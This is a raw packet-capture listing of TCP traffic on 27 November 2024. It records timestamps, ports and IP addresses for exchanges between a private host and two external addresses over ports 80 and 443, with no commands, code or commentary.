Nov 27, 2024 11:14:20.376542091 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.376918077 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.380131960 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.380292892 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.380635977 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.383855104 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.383929968 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.383958101 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.384022951 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.414145947 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.414341927 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.414376020 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.414547920 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.415998936 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.416062117 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.416210890 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.416263103 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.420031071 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.420173883 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.420979977 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.420993090 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.421328068 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.424659014 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.424671888 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.424735069 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.428366899 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.428585052 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.430016994 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.430259943 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.431760073 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.431966066 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.432068110 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.432159901 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.435323000 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.435560942 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.435867071 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.435976982 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.438904047 CET	443	49727	20.74.19.45	192.168.2.6
Nov 27, 2024 11:14:20.438951969 CET	443	49727	20.74.19.45	192.168.2.6
Nov 27, 2024 11:14:20.438968897 CET	443	49727	20.74.19.45	192.168.2.6
Nov 27, 2024 11:14:20.439095020 CET	49727	443	192.168.2.6	20.74.19.45
Nov 27, 2024 11:14:20.439110994 CET	443	49727	20.74.19.45	192.168.2.6
Nov 27, 2024 11:14:20.439271927 CET	49727	443	192.168.2.6	20.74.19.45
Nov 27, 2024 11:14:20.439330101 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.439415932 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.485346079 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.485486031 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.485517025 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.485723019 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.486944914 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.487082005 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.487083912 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.487154007 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.490221977 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.490308046 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.490336895 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.490426064 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.493526936 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.493668079 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.493801117 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.493877888 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.496839046 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.496942043 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.496953011 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.497066021 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.500088930 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.500179052 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.500309944 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.500477076 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.503289938 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.503561020 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.503623009 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.504523993 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.506417990 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.506587029 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.506967068 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.507124901 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.509478092 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.509545088 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.509603977 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.509788990 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.512377977 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.512469053 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.512646914 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.512782097 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.515203953 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.515331030 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.515664101 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.515937090 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.517998934 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.518085957 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.518369913 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.518517971 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.520847082 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.521054029 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.521395922 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.521553040 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.523675919 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.523817062 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.523854971 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.524013996 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.526555061 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.526647091 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.526676893 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.526772022 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.529268980 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.529361963 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.557275057 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.557383060 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.557473898 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.557564974 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.558293104 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.558392048 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.558418989 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.558510065 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.559993982 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.560065031 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.560211897 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.560353041 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.562181950 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.562324047 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.562418938 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.562591076 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.564373970 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.564585924 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.564968109 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.565397978 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.566643953 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.566764116 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.566860914 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.568810940 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.568913937 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.568936110 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.569021940 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.571404934 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.571621895 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.571628094 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.571729898 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.573180914 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.573328972 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.573358059 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.573441029 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.575400114 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.575670958 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.575694084 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.575819969 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.577780962 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.578092098 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.578277111 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.578444958 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.580144882 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.580157995 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.580281019 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.581939936 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.582185030 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.582238913 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.582354069 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.584100008 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.586301088 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.586313009 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.586442947 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.586443901 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.588522911 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.588610888 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.588640928 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.589018106 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.590703964 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.590806961 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.590830088 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.590936899 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.608294010 CET	443	49727	20.74.19.45	192.168.2.6
Nov 27, 2024 11:14:20.608560085 CET	49727	443	192.168.2.6	20.74.19.45
Nov 27, 2024 11:14:20.608573914 CET	443	49727	20.74.19.45	192.168.2.6
Nov 27, 2024 11:14:20.608655930 CET	49727	443	192.168.2.6	20.74.19.45
Nov 27, 2024 11:14:20.610443115 CET	49727	443	192.168.2.6	20.74.19.45
Nov 27, 2024 11:14:20.610495090 CET	443	49727	20.74.19.45	192.168.2.6
Nov 27, 2024 11:14:20.610672951 CET	443	49727	20.74.19.45	192.168.2.6
Nov 27, 2024 11:14:20.610757113 CET	49727	443	192.168.2.6	20.74.19.45
Nov 27, 2024 11:14:20.610757113 CET	49727	443	192.168.2.6	20.74.19.45
Nov 27, 2024 11:14:20.616911888 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.616924047 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.617043018 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.617508888 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.617641926 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.617666006 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.618633986 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.619684935 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.619865894 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.620150089 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.621880054 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.622052908 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.622183084 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.624083996 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.624370098 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.624453068 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.626266956 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.626386881 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.626544952 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.626677990 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.628470898 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.628627062 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.628808022 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.630637884 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.630834103 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.631290913 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.631463051 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.632848024 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.633085966 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.633116961 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.633502007 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.635066032 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.635152102 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.635179043 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.636995077 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.637204885 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.637489080 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.637557983 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.637662888 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.639436007 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.639791965 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.640049934 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.641624928 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.641762018 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.642039061 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.642237902 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.643973112 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.644258976 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.644331932 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.646011114 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.646137953 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.646280050 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.646476984 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.648313999 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.648396015 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.648708105 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.650371075 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.650485992 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.686691999 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.686790943 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.686820030 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.686913013 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.689403057 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.689511061 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.691184044 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.691195965 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.691206932 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.691281080 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.691281080 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.693074942 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.693088055 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.693376064 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.695806980 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.695820093 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.695945024 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.697201014 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.697277069 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.697464943 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.698368073 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.699136972 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.699217081 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.699425936 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.699481010 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.700917006 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.701067924 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.701230049 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.702883959 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.703048944 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.703079939 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.703253031 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.704776049 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.704911947 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.704998970 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.706540108 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.706665993 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.706837893 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.706969023 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.708492994 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.708635092 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.708647013 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.708686113 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.710108042 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.710294962 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.710305929 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.710382938 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.712009907 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.712151051 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.712152004 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.712229013 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.713567972 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.713727951 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.713781118 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.715395927 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.715507984 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.715687990 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.715764999 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.716900110 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.717185020 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.717215061 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.717339993 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.718424082 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.718436003 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.718651056 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.720280886 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.720400095 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.720434904 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.720530033 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.721935034 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.722085953 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.722093105 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.722443104 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.723484993 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.723675013 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.723818064 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.723968029 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.724136114 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.724447966 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.724477053 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.724519014 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.725790024 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.725910902 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.725924969 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.725999117 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.758858919 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.758974075 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.759520054 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.759537935 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.759561062 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.759589911 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.759692907 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.760869026 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.760881901 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.760998964 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.762150049 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.762274027 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.762962103 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.763170958 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.763411999 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.763564110 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.763628006 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.764069080 CET	49718	80	192.168.2.6	185.215.113.206
